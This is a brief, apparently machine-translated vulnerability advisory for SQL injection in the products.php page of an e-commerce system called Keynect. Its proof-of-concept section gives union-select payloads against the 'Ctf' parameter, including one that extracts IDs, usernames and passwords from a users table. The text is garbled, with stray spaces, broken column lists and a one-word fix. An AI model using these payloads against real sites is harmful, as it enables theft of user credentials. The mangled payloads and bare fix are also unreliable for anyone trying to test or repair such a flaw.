Keynect Ecommerce SQL injection vulnerability and repair

Keynect e0000c is an e-commerce system. The products. php In Keynect e0000c has the SQL injection vulnerability, which may cause sensitive information leakage.

[+] Info:
~~~~~~~~~
Keynect Ecommerce SQL Injection Vulnerability

[+] Poc:
~~~~~~~~~
Http://localhost.com//products.php? Ctf = {sqli}

Example:
======================================
Http://localhost.com/products.php? Ctf =-1 + union + select +, 20, 21, 24, 25, 26, 27, 28

, 29,30, 31,32, 33,34, 35,36, 37,38, 39,40, 41,42, 43 + from + information_schema.tables --
Http://localhost.com/products.php? Ctf =-1 + union + select +, 2, 3, 4, 5, 6, concat % 28ID, username, password % 29,8, 9, 10, 11, 12, 13, 14, 15, 16, 17,18, 19,20, 22, 41, 41

, 42 + from + users
 

Fix: Filter